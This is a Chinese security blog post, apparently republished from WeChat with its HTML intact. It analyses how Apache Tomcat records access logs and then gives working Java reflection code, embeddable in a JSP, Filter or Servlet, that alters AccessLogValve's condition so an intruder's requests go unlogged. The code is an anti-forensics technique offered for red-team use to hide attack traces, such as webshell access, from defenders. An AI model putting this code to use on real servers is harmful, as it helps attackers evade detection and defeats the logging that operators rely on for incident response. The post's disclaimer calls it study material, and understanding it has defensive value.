src="https://wechat2rss.xlab.app/img-proxy/?k=b6dbc917&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgF9JSnDeMUeEm0TF4FyXIo6dySZ0Jt4Du8SCfoG7IlQFvYicZLAt249A%2F640%3Fwx_fmt%3Dpng"/>：微博@</span><span style="font-family: Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;text-align: center;font-size: 14px;color: rgb(121, 123, 170);">伊吹鸡腿子</span><span style="font-size: 14px;"> ）</span><br/></p><p style="text-align: center;"><span style="font-size: 14px;"><br/></span></p><h6 style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 24px;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(54, 41, 47);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景：</span></strong></span><br/></h6><p style="white-space: normal;"><span style="font-size: 14px;font-family: 等线;">       </span><span style="font-family: 等线;font-size: 15px;color: rgb(54, 41, 47);">基于现阶段红蓝对抗强度的提升，诸如WAF动态防御、态势感知、IDS恶意流量分析监测、文件多维特征监测、日志监测等手段，能够及时有效地检测、告警甚至阻断针对传统通过文件上传落地的Webshell或需以文件形式持续驻留目标服务器的恶意后门。</span></p><p style="white-space: normal;"><span style="color: rgb(54, 41, 47);"><span style="font-size: 14px;font-family: 等线;">       </span><span style="font-family: 等线;font-size: 15px;">结合当下的形势，尝试在Tomcat容器中寻找能为我们渗透测试提供便利的特性。</span></span></p><section style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-indent: 28px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><h6 style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 24px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(121, 123, 170);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 黑体;box-sizing: border-box !important;overflow-wrap: break-word !important;">声明 ：</span></strong></span></h6><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;box-sizing: border-box !important;overflow-wrap: break-word !important;">  由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 宋体;font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><hr style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.098);transform-origin: 0px 0px 0px;transform: scale(1, 0.5);box-sizing: border-box !important;overflow-wrap: break-word !important;"/><p style="white-space: normal;"><br/></p><p style="text-autospace:ideograph-numeric;"><span style="color: rgb(47, 47, 47);font-family: 等线;font-size: 14px;">一、Tomcat的日志类型</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">基于默认配置启动的Tomcat会在logs目录中产生以下五类日志：catalina、localhost、localhost_access、host-manager、manager</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">其中，catalina记录了Tomcat从开始启动到终止的运行信息以及应用向console里输出的日志，localhost与catalina区别不大，但记录的内容相较于catalina没有那么全，跟servlet、JSP有关的报错信息会在localhost中记录。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">Host-manager、manager这两者日志</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="color: rgb(47, 47, 47);"><span style="font-family: 等线;font-size: 14px;">Tomat有五类日志：</span><span style="font-family: 等线;letter-spacing: 0px;font-size: 14px;background: rgb(255, 255, 255);">catalina、localhost、manager、admin、host-manager</span></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="color: rgb(47, 47, 47);font-family: 等线;letter-spacing: 0px;font-size: 14px;background: rgb(255, 255, 255);">catalina：<span style="font-family: 等线;">记录了</span>Catalina引擎的日志文件</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;letter-spacing: 0px;font-size: 14px;background: rgb(255, 255, 255);color: rgb(47, 47, 47);">localhost：记录了Tomcat内部代码抛出的日志</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;letter-spacing: 0px;font-size: 14px;background: rgb(255, 255, 255);color: rgb(47, 47, 47);">localhost_access: 记录了Tomcat的访问日志</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="color: rgb(47, 47, 47);"><span style="font-family: 等线;letter-spacing: 0px;font-size: 14px;background: rgb(255, 255, 255);">host-manager以及</span><span style="font-family: 等线;font-size: 14px;">manager：记录的是Tomcat的webapps目录下manager的应用日志</span></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;letter-spacing: 0px;font-size: 14px;background: rgb(255, 255, 255);color: rgb(47, 47, 47);">既然是跟隐藏访问记录有关，本次对localhost_access日志的调用逻辑和调用流程进行调试学习</span></p><p style="white-space: normal;"><br/></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">二、Tomcat记录访问日志的流程细节？</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">Tomcat是对客户端的请求完成响应后，再进行访问日志记录的。具体实现在CoyoteAdapter#service方法，下图第二个红框处。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6265625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cd53b10c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgCSOw850WwWUzVZpQKNBEdgMj8NIfzRlkbSz3Pc8anC6H9v5xtvlASw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">此处的Context变量其实是StandardContext，Host变量是StandardHost。然而，无论是StandardHost类还是StandardContext类，这两个容器实现类都继承于ContainerBase类。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.11732851985559567" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=8e30c381&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgE7WJN7XxqWd9bScicVUbqRoia4W2ZMVnWoqtwbFBGy4J3OjXr7ylXw7g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">由于这两个子类，并没有重写自己的logAccess方法，因此这里调用的logAccess(request, response, time ,false)方法，其实是调用其父类ContainerBase的logAccess方法。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.39655172413793105" data-s="300,640" style="" data-type="png" data-w="928" src="https://wechat2rss.xlab.app/img-proxy/?k=1d58bb73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgBt0E4qlVAnFHzXfYibfRbVS9DUaA7aMoAdVs9aN8scs9wPSjFW8Vfpg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">代码逻辑很清晰，稍微说明一下调用顺序，Tomcat组件的日志记录是逐层回溯，从下往上调用的。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">首先，从CoyoteAdapter#service()方法中，先由调用StandardContext实例的logAccess方法，所以上图的this第一次指代的是StandardContext自身，通过getAccessLog方法，获取StandardContext的日志记录对象。再调用log()方法，记录request、reponse、time中的信息。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">那么当StandardContext调用完成日志记录后，进入下一个if逻辑。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">通过StandContext.getParent方法，获取上级容器实现类StandardHost。如果有朋友好奇为什么是StandardHost的话，可以先了解一下Tomcat的Container架构，也可以阅读先前编写的文章。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">当获取了上级容器实例后，再次调用logAccess方法，其实进入的是上图方法本身，直到达到最上级容器：this.getParent() == null 成立。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">现在，我们了解了Tomcat调用日志记录的顺序，具体来看看细节。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.458980044345898" data-s="300,640" style="" data-type="png" data-w="902" src="https://wechat2rss.xlab.app/img-proxy/?k=d7de553f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqg4fMVrFByuD138pEibyTRN2xKpHMNl2mQRDUf5M9cicIqib3N3Veicia1Vfg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">在Tomcat的/conf/server.xml的默认配置中，只存在localhost_access_log.txt用于记录请求的IP地址、时间、请求方式、URI、协议等信息。其中pattern字段决定日志的记录形式和记录内容。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">对pattern字段内容感兴趣可查阅该官方链接：</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"><a href="https://tomcat.apache.org/tomcat-7.0-doc/config/valve.html#Access_Logging" target="_blank">https://tomcat.apache.org/tomcat-7.0-doc/config/valve.html#Access_Logging</a></span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> </span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">该配置嵌于Host标签内，属于StandardHost类。可见默认情况，仅有StandardHost调用getAccessLog方法时返回日志记录对象。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7244389027431422" data-s="300,640" style="" data-type="png" data-w="802" src="https://wechat2rss.xlab.app/img-proxy/?k=997acb67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgqp6YibgZiaYNVfNKe2vhL2A4rlG3NUzLsYpMoQgK2ryU0ZeAHx5lcw0Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">首先，this.accessLogScanComplete判断是否已完成配置文件中日志记录配置的扫描加载，如果扫描完成，则返回accessLog对象。若未扫描，则进行扫描加载。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">在Tomcat的容器中，都有一个管道(PipeLine)及若干个阀（Valve），它们是容器类必须具备的模块，在容器对象生成时自动产生，Pipeline就像是每个容器的逻辑总线，在Pipeline上按照配置的顺序，加载各个valve并逐个调用，各个valve实现具体的功能逻辑。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">而配置文件中的“org.apache.catalina.valves.AccessLogValve”，就是一个阀，实现日志记录的功能逻辑。</span></p><p><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">this.getPipeLine().getVales()方法获取当前管道中所有阀。通过else中的方法体，我们也可以了解到，可以自行编写继承于ValveBase类的阀，用于实现我们想要的功能，这里会通过判断阀的类型是否为AccessLog类型，获取管道中所有有关日志记录的阀实例，并保存到accessLog中，最后返回。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.39655172413793105" data-s="300,640" style="" data-type="png" data-w="928" src="https://wechat2rss.xlab.app/img-proxy/?k=1d58bb73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgBt0E4qlVAnFHzXfYibfRbVS9DUaA7aMoAdVs9aN8scs9wPSjFW8Vfpg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">当this.getAccessLog()的返回值accesssLog不为空时，是调用log方法实现日志记录。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.2872628726287263" data-s="300,640" style="" data-type="png" data-w="738" src="https://wechat2rss.xlab.app/img-proxy/?k=c4917f54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgAzCGic9sLh27oTasIbR16cYcCzic9f1QicQibQ9kOTeSvLoNb9iciaoZZfQA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">此处的this为accessLog自身，accessLog的类为AccessLogAdapter，真正的日记记录实现类，是其成员变量logs中的AccessLogValve，见下图。</span></p><p style="text-align: center;"><span style="color: rgb(47, 47, 47);">    </span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5995850622406639" data-s="300,640" style="" data-type="png" data-w="964" src="https://wechat2rss.xlab.app/img-proxy/?k=a08faff5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqg8oGe8vYuEbiaDSGYIB6Wia1gwRRo0cWeGa04AN1ugbrEh0Gy3rFT8z6g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">由于AccessLogValve并没有实现自己的log方法，在AccessLogAdapter#log中的log.log(request, response, time),调用的，其实是AccessLogValve的父类AbstractAccessLogValve的log方法。（org.apache.catalina.valves.AbstractAccessLogValve）</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5686274509803921" data-s="300,640" style="" data-type="png" data-w="867" src="https://wechat2rss.xlab.app/img-proxy/?k=67b64801&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqg4qtTQOCaxgsqHS4L4xQmKMagMF2KbsrRaXBNaico1tjbT0rgqbLXALA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">在AbstractAccessLogValve#log方法中，满足逻辑条件，则最终记录日志信息。要想隐藏访问，避免记录入日志中，就要令这个log方法逻辑条件不成立。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">在第一个IF条件中，改动前三个条件，会令该日志记录实现类失效，进而影响了正常功能，不建议改动。但后续2个条件，跟具体的request有关，并且是“或”判断，意味着，单独更改该类的成员属性condition和conditionIf不影响该类正常工作。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">于是，我们可以通过改动this.condition和request.getAttribute(this.conditiion),或者this.conditionIf和request.getAttribute(this.conditiionIf)，令以上任一条件不成立，则第一个IF逻辑则无法进入，最终使得Tomcat不记录我们的访问记录。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> </span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);"> 三、实现行踪隐匿</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">经过前面分析，我们可以知道，日志记录，是在请求完成响应之后实施的。那么我们可以从Request中的MappingData获取StandardHost，通过Standardhost获取accessLog。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">阅读过先前讲解Servlet内存马的朋友可能会好奇为何StandardService有MappingData，为何Request也有，MappingData作为记录映射关系的实例，也会最终传递给Request对象供其调用。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5995850622406639" data-s="300,640" style="" data-type="png" data-w="964" src="https://wechat2rss.xlab.app/img-proxy/?k=f755f07b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqghFCbA3GysSV4WVR6Kkz0R8KtL8mcq4uibgtUebLNlW1s8e5gPLgMV7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">因而我们无论是通过Filter、Servlet还是JSP，都拥有了ServletRequest对象。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">但要注意的是，Tomcat采用的设计模式是门面模式，为了提高系统的独立性，将Request对象转换成了RequestFacade对象，转换之后，Request则不可见，用户操作的对象只能是RequestFacade。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">以此，通过门面实现了系统内部和外部操作对象的分离。</span></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">但是，因为门面实际上是为复杂的子系统为一个类提供一个简单的接口，对于RequestFacade对象而言，实际上完成操作的，仍然是Request对象，因而Request对象，自然而然会作为成员变量保存在RequestFacade对象之中。既然保存在其中，我们就可以通过Java的反射机制，越过访问控制权限，动态获取运行中实例的属性。</span></p><p><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">        按照惯例，导入的包：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">&lt;%@ page import=&#34;org.apache.catalina.connector.Request&#34; %&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">&lt;%@ page import=&#34;java.lang.reflect.Field&#34; %&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">&lt;%@ page import=&#34;org.apache.catalina.mapper.MappingData&#34; %&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">&lt;%@ page import=&#34;org.apache.catalina.core.StandardHost&#34; %&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">&lt;%@ page import=&#34;org.apache.catalina.AccessLog&#34; %&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">&lt;%@ page import=&#34;org.apache.catalina.valves.AbstractAccessLogValve&#34; %&gt;</span></span></code><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">&lt;%@ page import=&#34;org.apache.catalina.core.AccessLogAdapter&#34; %&gt;</span></span></code></pre></section><p><br/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">获取Request对象:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">Field requestF = request.getClass().getDeclaredField(“request”);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// requestFacade的request由protected修饰</span></span></code><code><span class="code-snippet_outer">requestF.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">Request req = (Request) requestF.<span class="code-snippet__keyword">get</span>(request);</span></code></pre></section><p style="text-indent:28px;text-autospace:ideograph-numeric;"><br/></p><p style="text-indent: 28px;"><span style="color: rgb(47, 47, 47);"><span style="font-family: 等线;font-size: 14px;"><span style="font-family: 等线;">获取</span>StandardHost：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span style="color: rgb(47, 47, 47);">StandardHost standardHost = (StandardHost) req.getHost();</span></span></code></pre></section><p style="text-indent: 28px;"><br/></p><p style="text-indent:28px;text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">获取accesslog并赋值AccessLogValve.condition和Request.attributes :</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer">AccessLogAdapter accessLog = (AccessLogAdapter) standardHost.getAccessLog();</span></code><code><span class="code-snippet_outer">Field logsF = accessLog.getClass().getDeclaredField(<span class="code-snippet__string">&#34;logs&#34;</span>);</span></code><code><span class="code-snippet_outer">logsF.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">AccessLog[] logs = (AccessLog[]) logsF.get(accessLogAdapter);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span>( AccessLog <span class="code-snippet__built_in">log</span>:logs ){</span></code><code><span class="code-snippet_outer">      ((AbstractAccessLogValve)<span class="code-snippet__built_in">log</span>).setCondition(<span class="code-snippet__string">&#34;WhatEverYouWant&#34;</span>);<span class="code-snippet__comment">//任意填入</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">request.setAttribute(<span class="code-snippet__string">&#34;WhatEverYouWant&#34;</span>, <span class="code-snippet__string">&#34;WhatEverYouWant&#34;</span>);</span></code></pre></section><p><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">PS：以上代码，可任意嵌入Filter、Servlet、JSP中，均可生效。</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">看看效果：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.22268907563025211" data-s="300,640" style="" data-type="png" data-w="476" src="https://wechat2rss.xlab.app/img-proxy/?k=ac0b2507&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgxCLz6B93KTJjq6I2BaX1yFbNt3aTfp5sBeNCdajMrMxDalWFWDYiaKA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.2438563327032136" data-s="300,640" style="" data-type="png" data-w="529" src="https://wechat2rss.xlab.app/img-proxy/?k=b1e9b34e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgHnQaLEX1y3icuRU58icezQULwDKdrdDT4TX7Bhv7xoIiaI25Q0OpicTicug%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.1455223880597015" data-s="300,640" style="" data-type="png" data-w="536" src="https://wechat2rss.xlab.app/img-proxy/?k=285f07c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgDpHIJMNfu6icLTOlxMsEm8s3rtCvH14mTaZyzwjJ7jaDftyGIDWweuQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">    </span></p><p><span style="font-family: 等线;font-size: 14px;color: rgb(47, 47, 47);">    访问hideLog.jsp不再记录日志</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><span style="color: rgb(47, 47, 47);"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5994962216624685" data-s="300,640" style="" data-type="jpeg" data-w="1191" src="https://wechat2rss.xlab.app/img-proxy/?k=31f3021f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgbwicUU1gf3jqTQibwHsnxFHfbL5jp4qEJKQnbcqDudQTrniamYciaTDFbQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



